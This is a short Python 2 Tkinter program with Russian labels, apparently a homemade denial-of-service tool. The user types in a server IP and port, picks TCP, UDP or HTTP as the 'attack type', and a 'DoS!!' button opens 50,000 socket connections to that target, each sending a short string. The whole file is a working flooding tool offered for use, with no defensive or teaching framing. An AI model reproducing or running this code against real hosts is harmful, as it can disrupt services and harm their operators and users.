# -*- coding: utf-8 -*-
import socket, os

def hide_show():
    if frame_options.winfo_viewable():
        frame_options.grid_remove()
    else:
        frame_options.grid()

def DoS():
    if combobox.get() == 'TCP' or combobox.get() == 'HTTP':
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    else: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.connect(( str(pole_ip.get()), int(pole_port.get()) ))
    s.send('SeR')
    s.close()
def start():
    if len(pole_ip.get()) == 0:
        print u'ip адрес не введён'
    if len(pole_port.get()) == 0:
        print u'порт не введён'
        
    for i in range(50000): DoS()

    
from Tkinter import *

root=Tk()
root.title('My Prog')
root.geometry("406x200+250+350")

opis1=Label(root,text=u'ip сервера:',font='arial 14'); opis1.grid(column=0,row=0)
pole_ip=Entry(root,text='ip address',font='arial 14'); pole_ip.grid(column=1,row=0)


opis2=Label(root,text=u'порт сервера:',font='arial 14'); opis2.grid(column=0,row=1)
pole_port=Entry(root,font='arial 14'); pole_port.grid(column=1,row=1)

button_start=Button(root,text=u' DoS!! ',font='arial 10', command=start); button_start.grid(column=2,row=0, rowspan=2)




button = Button(command=hide_show, text=u"  Настройки (+/-)  ")
button.grid(column=0,row=2)



import ttk
frame_options = ttk.Frame(root)


opis3=Label(frame_options,text=u'Вид атаки:',font='arial 14'); opis3.grid(column=0,row=3)

combobox = ttk.Combobox(frame_options,values = [u"TCP",u"UDP",u"HTTP"],height=3, width=5)
combobox.set(u"TCP"); combobox.grid(column=1,row=3)#(column=0,row=0)


frame_options.grid_remove()
root.mainloop()


'''
from Tkinter import *

bbg = PhotoImage(
                data='R0lGODlhEAANAKIAAAAAAMDAwICAgP//////ADAwMAAAAAAA' \
                'ACH5BAEAAAEALAAAAAAQAA0AAAM6GCrM+jCIQamIbw6ybXNSx3GVB' \
                'YRiygnA534Eq5UlO8jUqLYsquuy0+SXap1CxBHr+HoBjoGndDpNAAA7')

root=Tk()
button = Button(image=bbg, text=u"Спрятать / показать")
button.pack()

root.mainloop()
'''
